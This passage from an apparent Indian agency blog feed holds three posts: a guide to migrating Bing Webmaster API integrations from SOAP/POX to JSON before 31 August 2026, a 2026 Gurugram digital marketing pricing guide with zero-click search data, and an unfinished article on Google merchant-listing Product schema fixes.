        chunk = urls[i:i + BATCH_MAX]
        _call("SubmitUrlBatch",
              payload={"siteUrl": site_url, "urlList": chunk},
              api_key=api_key)
        sent += len(chunk)
    return sent

Two things that code does deliberately. It de-duplicates before clamping, because a batch of 500 containing 200 repeats burns 500 units of a 10,000-unit daily allowance for 300 useful submissions. And it raises on HTTP 400 with the response body attached, because {"ErrorCode":3,"Message":"InvalidApiKey"} tells you exactly what went wrong while a bare HTTPError: 400 does not.

If you are running the .NET client, delete the service reference rather than trying to repoint it. The generated WebmasterApiClient, the contract="WebmasterApi.IWebmasterApi" endpoint entry, and the maxBufferSize/maxReceivedMessageSize tuning that Microsoft's SOAP guide told you to raise to 524288 all become dead weight. HttpClient plus System.Text.Json replaces the lot in well under a hundred lines.

Step 3: fix authentication, and decide which of the two modes you need

The Bing Webmaster API supports two authentication models, and they use different hosts. Getting this wrong produces a confusing 400 rather than a clear 401.

Mode	Endpoint host and auth	When to use it
API key	`https://ssl.bing.com/webmaster/api.svc/json/METHOD?apikey=KEY` — the key travels in the query string	Your own sites, verified under your own Bing Webmaster account; server-to-server jobs
OAuth 2.0	`https://www.bing.com/webmaster/api.svc/json/METHOD` with `Authorization: Bearer <access_token>`	Agencies and SaaS tools acting on a client's behalf, where the site owner grants delegated access
OAuth scopes	`Webmaster.read` for read access, `Webmaster.manage` for read and write	Request the narrower scope unless you actually submit URLs
Token lifetimes	Authorisation code valid for 5 minutes; access token returned with `expires_in` of 3599 seconds	Refresh tokens stay valid until the user revokes access — store them, or the client re-consents
Credential source	Client ID and secret from Bing Webmaster Tools, Settings, API Access	The same screen generates the plain API key

If you are on the API key path, the migration touches nothing about authentication. If you are on OAuth, note that the host in Microsoft's own SubmitUrl example is www.bing.com, not ssl.bing.com — copying the API-key URL and bolting a bearer header onto it is a common failure.

One security note worth acting on while you are in this code anyway: the API key sits in the query string, which means it lands in access logs, proxy logs and any error-tracking payload that captures request URLs. Scrub it in your logging middleware. Teams that treat this as an ordinary secret and only inject it at request time tend not to notice that it is being written to disk on every call.

Step 4: decide whether to migrate the call at all

This is the part a straight port misses. Microsoft added a note to its own cURL guide in November 2025 stating that it "now recommends using IndexNow as the primary method for real-time URL submission to Bing and participating search engines," describing the Adaptive URL Submission API as remaining "supported for advanced use cases and custom platform integrations."

That is a meaningful reframing from the vendor that owns both. If the only thing your integration does is push new and updated URLs at Bing, IndexNow is the smaller surface: it is a flat POST with a key file on your own domain, it needs no Bing account credential in your deployment pipeline, and the same ping reaches other participating engines. If your integration also reads data — rank and traffic statistics, crawl issues, keyword data, verified site lists — the Webmaster API is the only route and you are migrating it regardless.

Use case	Adaptive URL Submission API (JSON)	IndexNow
Submit new or changed URLs	Yes, 10,000 per day per site, 500 per batch	Yes, and the ping reaches participating engines beyond Bing
Credential handling	Bing API key or OAuth token in your pipeline	A key file hosted on your own domain; no account secret in CI
Read traffic, crawl and keyword data	Yes	No — submission only
Manage verified sites and users	Yes	No
Microsoft's stated primary recommendation as of November 2025	For advanced and custom platform integrations	For real-time URL submission
CMS plugin availability	Limited; usually custom code	Widely available across CMS platforms and plugins

The honest read: most publishing teams should move URL submission to IndexNow and keep a slimmed JSON client only for the reporting calls they actually consume. A migration deadline is the cheapest moment to delete code you no longer need. If your Bing integration exists only because someone wired it up in 2019 and nobody has read its output since, the correct migration is deletion.

Step 5: a cutover plan that fits the remaining window

From 5 August 2026 you have 26 days. That is comfortable for a change of this size, and it is not comfortable if the work sits behind a release train with a two-week cadence.

Window	Action	Done when
Days 1–2	Run the grep in step 1 across every repository, plus CI config, cron definitions and CMS plugins; list the call sites	You have a written inventory with an owner per call site
Days 3–5	For each call site, decide port, replace with IndexNow, or delete	Each entry in the inventory has one of those three labels
Days 6–12	Rewrite the ported calls against `/json/`; verify each method name and response shape against a staging or low-value URL	Every ported call returns a parsed `d` payload in a test
Days 13–18	Ship behind a feature flag; run legacy and JSON paths in parallel and compare submission counts and quota drawdown daily	Counts match for three consecutive days
Days 19–24	Remove the legacy path, the WSDL reference and any XML parsing helpers; add an alert on non-200 responses from the Bing client	The old endpoint string appears nowhere in the codebase
By 31 August 2026	Confirm `GetUrlSubmissionQuota` drawdown is still tracking daily	Quota consumption on 1 September matches the previous week

That last row is the check most teams skip. The failure mode after a silent cutover is not an alert — it is a quota that stops being consumed, which looks like nothing at all on a dashboard nobody opens. An alert on "daily quota unchanged for 48 hours" catches it in two days rather than two months.

India-specific considerations

Bing's share of search in India is small next to Google's, which is exactly why these integrations rot: nobody is watching the output closely enough to notice a 400. Three points for Indian teams specifically.

For product and agency teams in Gurugram, Bengaluru and Hyderabad running submission jobs on behalf of overseas clients, the OAuth path is the correct one, not a shared API key pasted into a config file. A client-held key that a departing engineer still has is a genuine problem; a revocable delegated grant is not. The Webmaster.read scope is enough for reporting-only integrations, and requesting Webmaster.manage when you only read is a needless expansion of access.

On data handling, the API key and any OAuth refresh token are credentials that let a third party act on a client's web property, so treat them with the same care as any production secret. The traffic and query reports you pull back can be joined to user-level analytics, and wherever that happens your existing posture under the Digital Personal Data Protection Act 2023 applies to the store you land them in. Design the pipeline so the raw pull lands in the same governed store as the rest of your search data rather than in an engineer's laptop notebook.

On sequencing, teams supporting both Indian and international properties should migrate the lowest-traffic property first and watch quota drawdown for a full week before touching the flagship. The Bing account is per-site verified, so a mistake on a secondary property costs you nothing beyond the submissions you skipped that day.

The wider pattern: Microsoft is consolidating Bing's API surface

This retirement is not an isolated tidy-up. Microsoft retired the Bing Search and Bing Custom Search APIs on 11 August 2025, announced only three months earlier on 12 May 2025, and the Azure notice made the scope clear: "Any existing instances of Bing Search APIs will be decommissioned completely, and the product will no longer be available for usage or new customer signup." The replacement, Grounding with Bing Search inside Azure AI Foundry, does not return raw results at all — as Microsoft's documentation states, "Developers and end users don't have access to raw content returned from Grounding with Bing Search."

The cost shift there was steep. PPC Land's June 2025 analysis put Grounding with Bing Search at $35 per 1,000 transactions against retiring tiers of $6, $15 and $25 per 1,000, a 40% to 483% increase depending on which tier you were on.

Against that backdrop, the Webmaster Tools change is the mild one: same key, same quotas, same price of zero, three months' notice, and a JSON endpoint that has existed alongside SOAP and POX since the API's early days. The direction of travel is still worth reading. Microsoft is narrowing Bing's programmatic surface to a small number of actively developed endpoints and pushing everything else toward either IndexNow or Azure. Integrations built on the oldest available protocol are the ones that keep getting caught. The real cost is usually the discovery, not the code.

FAQ

What exactly is being retired on 31 August 2026?

The SOAP and POX/HTTP protocols for the Bing Webmaster Tools API. Requests to the api.svc/soap and api.svc/pox paths, and the WSDL at api.svc?wsdl, stop being served after that date. The JSON/HTTP endpoints at api.svc/json continue and remain actively developed by Microsoft.

Do I need a new API key after migrating?

No. Microsoft states that your API key remains the same and no re-issuance is required. Quotas, rate limits and permissions are also unchanged. The credential you use today against the POX endpoint works unmodified against the JSON endpoint, so the migration touches your request code rather than your secrets management.

Is there a grace period after 31 August 2026?

Microsoft has announced none. The notice says requests to the SOAP and POX endpoints will no longer be served after that date, which reads as a hard cutoff rather than a throttling phase. Plan for calls to fail outright on 1 September 2026 rather than degrade with warnings first.

What changes in the response body?

JSON responses wrap results in a d property. A quota check returns {"d":{"DailyQuota":973,"MonthlyQuota":10973}}, and a successful URL submission returns {"d": null}. Errors arrive as HTTP 400 with a body such as {"ErrorCode":3,"Message":"InvalidApiKey"} instead of a POX XML fault or a SOAP FaultException.

How many URLs can I still submit per day?

The published limits are unchanged by this migration: 10,000 URLs per day per site under the Adaptive URL Submission programme, and a maximum of 500 URLs per SubmitUrlBatch call unless your remaining quota is lower. Call GetUrlSubmissionQuota first to read the current DailyQuota before spending it.

Should I move to IndexNow instead of migrating?

If your integration only submits URLs, probably yes. Microsoft updated its own guidance in November 2025 to recommend IndexNow as the primary method for real-time URL submission, describing the Webmaster API as remaining supported for advanced and custom integrations. If you also read traffic, crawl or keyword data, you still need the JSON API.

Does OAuth 2.0 use a different endpoint than the API key?

Yes, and this trips people up. API-key calls go to ssl.bing.com with the key in the query string. Microsoft's OAuth example posts to www.bing.com/webmaster/api.svc/json/SubmitUrl with an Authorization: Bearer header. Access tokens are returned with an expires_in of 3599 seconds and are renewed with the refresh token.

What is the fastest way to find every affected call site?

Grep for api.svc/soap, api.svc/pox and api.svc?wsdl across all of your repositories, then separately grep for WebmasterApiClient, IWebmasterApi and BasicHttpBinding_IWebmasterApi to catch the generated .NET clients that never mention the endpoint URL at all. Extend the same search to your CI configuration, cron definitions and CMS SEO plugins.

How eCorpIT can help

We run API integration modernization work for teams carrying exactly this kind of legacy surface — an integration nobody owns, built against a protocol the vendor is closing. Our senior engineering teams do the discovery pass across your repositories and pipelines, decide per call site whether to port, replace or delete, and ship the cutover behind a flag with parallel-run verification so nothing goes quiet unnoticed. eCorpIT is CMMI Level 5 and ISO 27001:2022 certified, and we design integrations aligned with DPDP requirements. If a 31 August deadline is sitting in your backlog without an owner, talk to us.

Related reading: our web platform developer guide covers the wider 2026 browser and API baseline, the Next.js 16 migration guide walks a comparable framework cutover, and the Search Console AI performance report guide covers the Google-side reporting most teams pair with Bing data.

References

Last updated: 5 August 2026.

The 2026 cost of digital marketing in Gurugram: pricing bands and what AI search changed

Manu Shukla — Wed, 05 Aug 2026 01:18:12 +0000

The 2026 cost of digital marketing in Gurugram: pricing bands and what AI search changed

Summary. A full-service digital marketing retainer in Gurugram and the wider Delhi-NCR market runs from about Rs 50,000 to Rs 5,00,000 a month in 2026, with premium performance mandates quoted at Rs 4,00,000 to Rs 10,00,000 and above. Standalone SEO sits between Rs 8,000 and Rs 80,000 a month, social media management between Rs 12,000 and Rs 2,00,000, and most agencies bill Google Ads management at 10% to 15% of ad spend with the media budget always separate. Published guides put Delhi NCR 20% to 35% above other Indian cities for the same scope. The price is only half the decision this year. SparkToro's analysis of Similarweb clickstream data found that 68.01% of US Google searches ended without a click in the first four months of 2026, up from 60.45% in 2024, a jump of 7.56 percentage points in two years. For every 1,000 US Google searches, 276 clicks now reach the open web, against 374 in 2024. AI Overviews appear on more than 20% of searches and cut click-through by nearly 60% where they appear. Ranking alone no longer pays for itself. What still pays, and this matters more in Gurugram than almost anywhere, is branded, local and high-intent transactional search. This guide sets out the current bands, explains why published guides disagree so wildly, and defines what a retainer at each level should actually deliver.

What digital marketing costs in Gurugram in 2026

The bands below are compiled from Indian agency pricing guides published in 2026. Gurugram sits at the mid-to-upper end because local salary levels and demand run higher than in smaller cities.

Service	Typical 2026 monthly cost (NCR)	What it usually includes
Local SEO	Rs 10,000 to Rs 40,000	Google Business Profile, Maps, on-page, local citations
Full SEO	Rs 8,000 to Rs 80,000	Technical, content, links, and now GEO and AEO work
Social media	Rs 12,000 to Rs 2,00,000	Content, community, paid social management
Google Ads management	10% to 15% of ad spend	Setup, optimisation, reporting; ad spend is separate
Content marketing	Rs 20,000 to Rs 1,00,000	Strategy, articles, landing assets
Full-service retainer	Rs 50,000 to Rs 5,00,000 and above	SEO, ads, social and content combined
Premium performance mandate	Rs 4,00,000 to Rs 10,00,000 and above	Multi-channel, senior team, revenue-linked reporting

Within those ranges, the commonly quoted NCR tiers are around Rs 25,000 a month for basic social media management, Rs 50,000 for comprehensive digital marketing including SEO and content, and Rs 75,000 and above for full-funnel work including paid advertising. A mid-tier package covering SEO, Google Ads management and social typically lands at Rs 40,000 to Rs 80,000.

Two numbers get missed when founders compare quotes.

The first is the NCR premium. Published guides put Delhi NCR at 20% to 35% above other Indian cities for the same scope, which is a salary and demand effect rather than a quality one. A Rs 60,000 Gurugram retainer and a Rs 45,000 Indore retainer may be buying similar seniority.

The second is ad spend, which sits on top of the management fee. Budget the true monthly total as retainer plus ad spend plus tools and creative, never the retainer alone. Our Gurugram Google Ads and PPC ROI guide works through that arithmetic.

Why published pricing guides disagree so much

Worth saying plainly, because it changes how you should read any pricing article including this one: no authoritative body publishes agency rate cards in India. There is no industry survey with a disclosed methodology, no regulator collecting the data, and no trade association benchmark.

What exists is agency blogs quoting their own bands, and they are not independent. That is why one guide will tell you SEO starts at Rs 8,000 and another will start it at Rs 15,000, and why management fees appear as 10% to 15% in one place and 15% to 20% in another. Both are describing real quotes; neither is describing the market.

The practical consequence is that ranges are useful for sanity-checking a quote and useless for negotiating one. If a proposal sits inside the bands above, the number is not the thing to argue about. The scope is.

One judgement from doing this work: the spread between two Gurugram quotes for nominally the same service is usually explained by how many hours of senior time are in the retainer, and that is the single question most buyers never ask.

What drives the price

Four things move a Gurugram quote.

Scope is the obvious one. A single channel costs a fraction of a full-service retainer, and most of the very low numbers you see quoted are single-channel.

Seniority is the quiet one. A team including a strategist and a technical SEO lead costs more than one junior working through a checklist, and it usually returns more. Ask how many hours a month a senior person is actually on your account, and ask for that in the contract.

Deliverable depth is the 2026 one. It means whether the work includes AI-search optimisation or stops at traditional SEO. A Rs 10,000 retainer chasing keyword rankings is cheap for a reason, and in the current search environment it can return very little.

Reporting is the one that determines whether you can tell any of this. A retainer that reports rankings only cannot demonstrate return, which means you cannot judge whether the other three were worth the money.

What AI search changed, with the numbers

Search moved under the agency's feet, and the data is now unambiguous enough to plan around.

SparkToro, using Similarweb desktop and mobile web panel data covering US Google searches from January to April 2026, found 68.01% of searches ended without a click. The 2024 figure was 60.45%, so the zero-click rate rose 7.56 percentage points in two years. Expressed as traffic rather than percentage, 1,000 US Google searches now send 276 clicks to the open web, down from 374 in 2024.

Mobile is worse, approaching 77% zero-click. Since mobile is roughly two-thirds of searches, the mobile figure is closer to what most Indian brands see in their analytics than the headline number.

AI Overviews appear on more than 20% of Google searches and, where present, cut click-through by nearly 60%.

Metric	2024	Early 2026	Direction
Zero-click share of US Google searches	60.45%	68.01%	Up 7.56 points
Clicks to the open web per 1,000 searches	374	276	Down 98 clicks
Mobile zero-click share	Not stated in the study	Approaching 77%	Worse than desktop
AI Overview presence	Lower	More than 20% of searches	Growing
CTR where an AI Overview appears	Not applicable	Down nearly 60%	Sharp drop

Note the scope honestly: this is US clickstream data. No equivalent India panel study has been published, so treat it as directionally true for Indian search rather than precisely so.

The upside is real rather than purely defensive. Pages quoted inside an AI Overview earn substantially more organic clicks per impression than uncited pages on the same query, which is why citation share has become a target rather than a curiosity. Getting cited is a growth strategy now, not damage control.

The exception that matters most in Gurugram

Here is the part that pricing guides skip and that changes the calculation for a local business.

Rand Fishkin, co-founder of SparkToro, pointed specifically to branded, local and high-intent transactional searches as the areas where SEO still generates meaningful returns. He also made the broader point directly: "your SEO still matters as much or more than ever before, it just won't earn you traffic the way it once did."

Read that against a Gurugram client list. A dental clinic in Sector 56, a chartered accountancy practice, an interior contractor, a preschool, a car service centre: their most valuable queries are local and transactional, and those are the queries an AI Overview is least likely to answer outright. Someone searching for a service they intend to buy this week still clicks.

So the zero-click number is a reason to reallocate, not to disinvest. For a local Gurugram business, the money that used to fund broad informational content is better spent on Google Business Profile, Maps visibility, review volume and quality, service-page depth, and conversion tracking that proves a call turned into a job. Our Gurugram local SEO and Google Maps guide covers that work in detail.

For a business selling nationally or globally out of Gurugram, the opposite applies: informational content still matters, but it has to be written to be quoted, which is what generative engine optimisation and answer engine optimisation mean in practice. Our content marketing strategy for Gurugram brands shows what answer-shaped content looks like.

What a retainer should deliver, band by band

Bands are only useful if you know what each should buy. This is what we would consider a fair scope at each level in Gurugram in 2026.

Monthly retainer	Realistic scope	What it should not promise
Rs 10,000 to Rs 25,000	One channel, executional: social posting or Google Business Profile upkeep	Technical SEO, GEO or AEO work, or measurable organic growth
Rs 25,000 to Rs 60,000	Local SEO plus one more channel, basic technical fixes, monthly reporting	National-scale organic growth or complex content programmes
Rs 60,000 to Rs 1,50,000	Technical audit, keyword-led content plan, outreach links, ads management, citation tracking	Same-quarter revenue transformation
Rs 1,50,000 to Rs 5,00,000	Multi-channel with senior strategy, GEO and AEO in core scope, CRO, revenue-linked reporting	Guaranteed rankings, which nobody can promise
Rs 4,00,000 and above	Full-funnel performance mandate, dedicated senior team, attribution modelling	A fixed cost per lead independent of market conditions

If a proposal sits in one band and promises the outcomes of the band above, that is the signal to slow down.

How to evaluate a Gurugram agency in 2026

Ask five questions before you sign.

Is GEO and AEO inside the scope, or does the SEO stop at keywords and links? In 2026 these belong in the core scope, not as paid add-ons.

How many hours of senior time are on my account each month, and can that go in the contract?

How do you report return, and does the reporting connect to leads and revenue rather than rankings?

Is ad spend separated from the management fee in writing?

What happens in month one, and what is the first thing you would fix? An agency that has looked at your site before pitching will answer this specifically.

Signal	Reassuring answer	Warning sign
Scope	GEO and AEO named in the core deliverables	"We can add AI search optimisation later"
Reporting	Leads, qualified traffic, citation share, cost per acquisition	A monthly keyword ranking screenshot
Ad spend	Separated from the fee, in the proposal	A single blended number
Guarantees	Forecasts with assumptions stated	Guaranteed first-page rankings
Team	Named senior owner with committed hours	"You will have a dedicated account manager"

For a wider view of the local market, our guide to the best digital marketing company in Gurugram sets out what strong local agencies now offer, and why Delhi NCR businesses hire Gurugram agencies covers the regional dynamics.

India-specific considerations

Three local factors change the maths.

GST applies on top. Agency retainers attract GST, so a Rs 1,00,000 retainer is not a Rs 1,00,000 cash outflow. Confirm whether quoted numbers are inclusive or exclusive before you compare two proposals.

The talent market sets the floor. The NCR premium exists because senior marketing and technical SEO salaries in Gurugram are higher than in most Indian cities. A retainer well below the local bands is usually being staffed by juniors or offshore, and that is a legitimate choice as long as you know you are making it.

Local intent is your advantage, not your constraint. Gurugram businesses serving Gurugram customers are sitting in the query category that survived the zero-click shift best. Founders reading national zero-click statistics and concluding that SEO is finished are drawing the wrong conclusion from the right data.

Early-stage companies weighing whether to spend at all should read our no-BS guide for Gurugram startups alongside this one, and teams choosing a social partner should see how to pick a Gurugram social media agency that delivers results.

FAQ

How much does digital marketing cost in Gurugram in 2026?

A full-service retainer runs from about Rs 50,000 to Rs 5,00,000 a month, with premium performance mandates quoted at Rs 4,00,000 to Rs 10,00,000 and above. Standalone SEO is Rs 8,000 to Rs 80,000, social media Rs 12,000 to Rs 2,00,000, and Google Ads management is usually 10% to 15% of ad spend.

Why is Gurugram more expensive than other Indian cities?

Published pricing guides put Delhi NCR at 20% to 35% above other Indian cities for the same scope. The gap reflects local salary levels and demand rather than a difference in quality, so a Gurugram retainer and a smaller-city retainer at different prices may be buying comparable seniority.

Why do published pricing guides disagree with each other?

Because no authoritative body publishes agency rate cards in India. There is no industry survey with a disclosed methodology and no trade association benchmark, so the available figures come from agency blogs quoting their own bands. Use ranges to sanity-check a quote, not to negotiate one.

Is cheap SEO still worth buying in 2026?

Rarely, if it only chases rankings. SparkToro found 68.01% of US Google searches ended without a click in early 2026, and AI Overviews cut click-through by nearly 60% where they appear. A low retainer that produces keyword reports and low-quality links returns very little in that environment.

Does the zero-click data mean SEO is finished for local businesses?

No, and Gurugram businesses are the clearest exception. SparkToro's Rand Fishkin named branded, local and high-intent transactional searches as the areas where SEO still generates meaningful returns. Someone searching for a service they intend to buy this week still clicks through to a provider.

What are GEO and AEO, and should they be in my retainer?

GEO is generative engine optimisation and AEO is answer engine optimisation. Both shape content so AI systems and Google AI Overviews quote it rather than paraphrasing it away. In 2026 they belong in the core agency scope alongside technical SEO, because citations now drive a meaningful share of qualified visibility.

Is ad spend included in the agency fee?

No. Almost every Gurugram agency bills Google Ads management as a flat fee or 10% to 15% of ad spend, with the media budget paid separately to Google. Budget the true monthly total as retainer plus ad spend plus tools and creative, and ask for that split in writing.

What should a 2026 agency report to me?

Reporting that ties to revenue: qualified and converting traffic, citation share inside AI Overviews, leads and cost per acquisition. Rankings still matter, but with 276 clicks reaching the open web per 1,000 searches against 374 in 2024, rankings alone no longer predict traffic or return.

How eCorpIT can help

eCorpIT is a Gurugram-based, senior-led digital marketing and engineering organisation, founded in 2021, assessed at CMMI Level 5, MSME certified and ISO 27001:2022 certified, and a Google partner. We build SEO, GEO and AEO into one scope so content ranks and gets cited, we keep ad spend separate from management fees in every proposal, and we report on qualified traffic, citations and leads rather than rankings. If you are comparing digital marketing quotes in Gurugram and want a second opinion on the scope rather than the number, talk to our team.

References

In 2026, less than one third of Google searches still send a click - SparkToro
Google zero-click searches reach 68% in early 2026: Study - Search Engine Land
Google Zero Click Searches Fall To 27.6% - Search Engine Roundtable
Zero-Click Hits 68%: Inside the 2026 SparkToro Study - Digital Applied
Zero-click search statistics 2026 - Digital Applied
Zero-Click Searches Hit 68%: What This Means for SEO and AI Search in 2026 - Relevant Audience
Digital marketing agency cost in India 2026 - Distk
Digital marketing cost in India 2026: real price ranges by service - The Conversions
Digital marketing agency pricing in India 2026 - Adservex
Digital marketing cost India 2026: complete pricing guide - Mayank Digital Labs
Digital marketing agency pricing guide 2026 - Digital Upgrowth
Digital marketing agency pricing in India: a complete 2026 cost guide - C2C Review

Last updated: 5 August 2026.

Product schema in 2026: 9 fixes that decide if your merchant listings show

Manu Shukla — Wed, 05 Aug 2026 01:12:58 +0000

Product schema in 2026: 9 fixes that decide if your merchant listings show

Summary. On 7 July 2026 Google made two changes to merchant listing structured data. It added a category property to Product, which lets you declare a Google Product Category in page markup instead of only in a Merchant Center feed, and it added a new "Sale duration" section explaining how validFrom, validThrough and priceValidUntil set the effective window for a sale price. Both changes close a gap between what your page says and what your feed says. The timing is not accidental: Q3 and Q4 promotional calendars run on sale windows, and Google's documentation now states plainly that "Your listing may not display if the priceValidUntil property indicates a past date." For Indian sellers the stakes scale with the market. The India Brand Equity Foundation puts India's e-commerce industry at Rs 10,82,875 crore (US$ 125 billion) in 2024, projected to Rs 29,88,735 crore (US$ 345 billion) by 2030 at an 18.4% CAGR, with online shoppers rising from 280 to 300 million in 2025 towards 420 to 440 million by 2030. In our remediation work the new properties are rarely the reason a page loses rich results. Older rules are: a price of zero, an AggregateOffer where an Offer is required, one URL serving two currencies, or Product markup that only exists after JavaScript runs. These are the nine checks, in the order we run them.

What changed on 7 July 2026

Google's documentation changelog records two entries on that date. The first added category to the merchant listing documentation, detailing how Product.category can be used with both Text and CategoryCode types, aligning with the product_type and google_product_category attributes in Merchant Center feeds. The second added a "Sale duration" section to the merchant listing guide.

Roger Montti, SEJ Staff writer at Search Engine Journal, weighed them this way: "In total, there are three new additions but the biggest change by far is the addition of a new Category property."

He is right about which one matters more, for a reason that is easy to miss. Category in markup gives Google a page-level statement of what a product is, in Google's own taxonomy, that does not depend on your feed being current. For any seller whose feed lags their catalogue, that is a meaningful new signal.

Fix 1: Get the required properties right before anything else

Three properties are required on Product for merchant listing eligibility: name, image and offers.

On Offer, Google requires price or priceSpecification.price, priceCurrency or priceSpecification.priceCurrency, and priceSpecification.

Two rules inside that list break more pages than the rest of this article combined.

The first is the offer type. Google states it directly: "Product snippets accept an Offer or AggregateOffer but merchant listings require an Offer as the merchant has to be the seller of the product in order to be eligible for merchant listing experiences." Marketplace-style templates that emit AggregateOffer for a price range are disqualified from merchant listing experiences by construction.

The second is price. "Unlike product snippets, merchant listing experiences require a price greater than zero." Any page that renders a zero price while stock is being loaded, or for a made-to-order item, is out.

There is a third rule that quietly decides which of your two prices Google reads: "If you use both the offers.price and offers.priceSpecification properties to encode an active price, Google will use the price provided through the offers.price property and ignore the offers.priceSpecification property." Templates that were extended over time often end up emitting both, with the stale one at the Offer level.

Fix 2: Understand Google's three price kinds before you touch sale windows

Google's merchant listing documentation defines three kinds of price, and they are distinguished by which properties are absent as much as which are present.

Price kind	How it is marked	Disqualifying combination
Active price	Neither `priceType` nor `validForMemberTier`	None; this is the price Google shows
Strikethrough price	`priceType` set to `StrikethroughPrice`	Cannot carry `validForMemberTier`
Member price	Carries `validForMemberTier`	Cannot carry `priceType`

Google's rule for the overlap is blunt: "Price specifications containing both of these properties are ignored." A member-only sale price marked with both priceType and validForMemberTier is not a partially valid price; it is discarded.

Two related properties are still in beta. membershipPointsEarned carries the note "This property is in beta, and you may not see an effect in Google Search right away", and validForMemberTier carries a similar warning that off-page MemberProgramTier structured data might not show up in Google Search right away. Plan loyalty pricing markup as an investment in feed parity, not as a rich-result win this quarter.

For a transition period Google also still accepts ListPrice in place of StrikethroughPrice for strikethrough prices. New implementations should use StrikethroughPrice.

Fix 3: Put the sale window where Google can read it

This is the new section, and the placement rule is the part teams get wrong.

Dates go in ISO 8601 format, and Google's own example is 2025-12-31T23:59:59+01:00. Use validFrom for the start. For the end, use either validThrough or priceValidUntil. Google's best practices ask for both a start and an end, for the start to be earlier than or equal to the end, and, in its words: "We recommend including the time and timezone in the [ISO 8601] format for accuracy in Google systems."

Where those properties go depends on where the sale price lives.

On the Offer node, when price on that node holds the current active sale price, add validFrom and either validThrough or priceValidUntil directly to the Offer:

{
  "@context": "https://schema.org/",
  "@type": "Product",
  "name": "Example kurta set",
  "offers": {
    "@type": "Offer",
    "url": "https://www.example.in/kurta-set",
    "price": 1799.00,
    "priceCurrency": "INR",
    "validFrom": "2026-09-20T00:00:00+05:30",
    "priceValidUntil": "2026-09-30T23:59:59+05:30",
    "priceSpecification": {
      "@type": "UnitPriceSpecification",
      "priceType": "https://schema.org/StrikethroughPrice",
      "price": 2499.00,
      "priceCurrency": "INR"
    }
  }
}

On a PriceSpecification node, when the sale price is defined there rather than on the Offer, add validFrom and validThrough to that node. Google adds a warning worth writing on a sticky note: "Note that the priceValidUntil property isn't applicable to the PriceSpecification type."

That single sentence is the most common new-code bug we expect from this change. A developer reads the property list, sees three date properties, and applies all three uniformly to both node types. priceValidUntil on a PriceSpecification is silently meaningless.

The consequence of getting it wrong is spelled out in the property table: "Your listing may not display if the priceValidUntil property indicates a past date." A stale sale date does not degrade your listing. It can remove it.

Fix 4: Declare category in markup, not only in the feed

Product.category accepts Text or CategoryCode, and it accepts an array mixing both.

Plain text works like the product_type feed attribute and represents your own category label. Google recommends keeping custom product types under the 750-character limit.

CategoryCode is how you declare a Google Product Category on the page. Set @type to CategoryCode, set inCodeSet to a Google Product Taxonomy URL, and set codeValue to either the numeric GPC ID or the full category path. Google's own examples use the ID "2271" and the path "Apparel & Accessories > Clothing > Dresses". Paths use > as the level separator, and each segment in the path must contain at least one letter.

You can supply several values at once, mixing GPC codes, GPC paths and custom product type strings in one array.

The engineering judgement here: if your feed and your page disagree about what a product is, the fix is upstream of both. Take the category from the same source of truth that populates your feed, or you have simply created a second place to be wrong.

Fix 5: Give every currency its own URL

Google's technical guidelines say it without qualification: "When offering products for sale in multiple currencies, have a distinct URL per currency. For example, if a product is available for sale in Canadian and US dollars, use two distinct URLs, one per currency."

Indian D2C brands selling to domestic and NRI or export customers routinely serve INR and USD from the same URL, switching on IP geolocation or a cookie. That pattern is incompatible with merchant listing eligibility, and it is expensive to unwind after a replatform rather than during one.

The same guideline set adds three more eligibility conditions that catch template-driven sites:

"Only pages where a shopper can purchase a product are eligible for merchant listing experiences, not pages with links to other sites that sell the product." Affiliate and comparison pages are out.
"Product rich results only support pages that focus on a single product (or multiple variants of the same product)." Category and collection pages are out, and Google adds that this includes product variants where each variant has a distinct URL.
"Car isn't supported automatically as a subtype of Product. For now, include both Car and Product types if you want to attach ratings to it and be eligible for the Search feature."

Fix 6: Render the markup server-side

Google's guidance on this is a recommendation with a hard operational edge.

"If you're a merchant optimizing for all types of shopping results, we recommend putting Product structured data in the initial HTML for best results." Then the reason: "Be aware that dynamically-generated markup can make Shopping crawls less frequent and less reliable, which can be an issue for fast-changing content like product availability and price. If you're using JavaScript to generate Product markup, make sure your server has enough computing resources to handle increased traffic from Google."

Read that alongside fix 3. Sale windows, availability and price are exactly the fast-changing fields, and client-rendered markup is exactly where crawl reliability drops. A headless storefront that hydrates its JSON-LD in the browser is combining the two worst options for the fields that matter most during a sale.

If you are already planning a headless build, this belongs in the architecture decision rather than in a later SEO ticket. We cover the same trade-off from the platform side in our SEO-safe replatform and migration work.

Fix 7: Fix availability and condition enumerations

availability takes an ItemAvailability value, and Google supports ten: BackOrder, Discontinued, InStock, InStoreOnly, LimitedAvailability, OnlineOnly, OutOfStock, PreOrder, PreSale and SoldOut. Short names without the URL prefix are also supported.

itemCondition takes NewCondition, RefurbishedCondition or UsedCondition.

For both, Google says the same thing: "Don't specify more than one value." Systems that map an internal multi-warehouse stock state into schema often emit two availability values for a product that is in stock in one location and back-ordered in another. Pick one, and pick the one a shopper on that URL would experience.

Fix 8: Move shipping and returns to the organization level

Google's preference here saves work rather than creating it.

For both shippingDetails and hasMerchantReturnPolicy, the documentation says to use the property under Offer "Only if some of your products have specific shipping policies for which you need to override your global shipping policy, or if you don't provide a standard shipping policy for your business". It adds that "the properties supported for offer-level shipping policies are a subset of the properties supported for organization-level shipping policies", and makes the same point about returns: "Product-level return policies should only be used to override a standard merchant-level return policy or when there is no standard return policy as product-level return policies support only a subset of the properties available for merchant-level return policies."

So one organization-level policy, referenced by @id, beats the same block duplicated across 40,000 product pages, and it exposes more properties while it does so.

While you are in this area, two smaller items. hasCertification now replaces the older hasEnergyConsumptionDetails pattern, which Google says it continues to support but no longer recommends. And if you sell anything Google treats as adult-oriented, hasAdultConsideration is mandatory for those items; Google Search supports only the value https://schema.org/SexualContentConsideration for that property.

Fix 9: Fix the images, because they are a required property

image is required, and its guidelines are more specific than most teams implement.

Image URLs must be crawlable and indexable, the images must represent the marked-up content, and the format must be one Google Images supports. Google then recommends "providing multiple high-resolution images (minimum of 50K pixels when multiplying width and height) with the following aspect ratios: 16x9, 4x3, and 1x1."

A 200 by 200 thumbnail is 40,000 pixels and falls under that recommendation. A single square hero satisfies one of the three suggested aspect ratios. Neither is fatal on its own, and both are cheap to fix during a catalogue image pipeline change.

The remediation order we use

Priority	Check	Why it comes first	Typical fix
1	Offer type and non-zero price	Hard eligibility gate for merchant listings	Replace AggregateOffer; suppress zero prices
2	One currency per URL	Hard eligibility gate; architectural	Split routes or subfolders per currency
3	Markup in initial HTML	Governs crawl frequency for price and stock	Move JSON-LD to server render
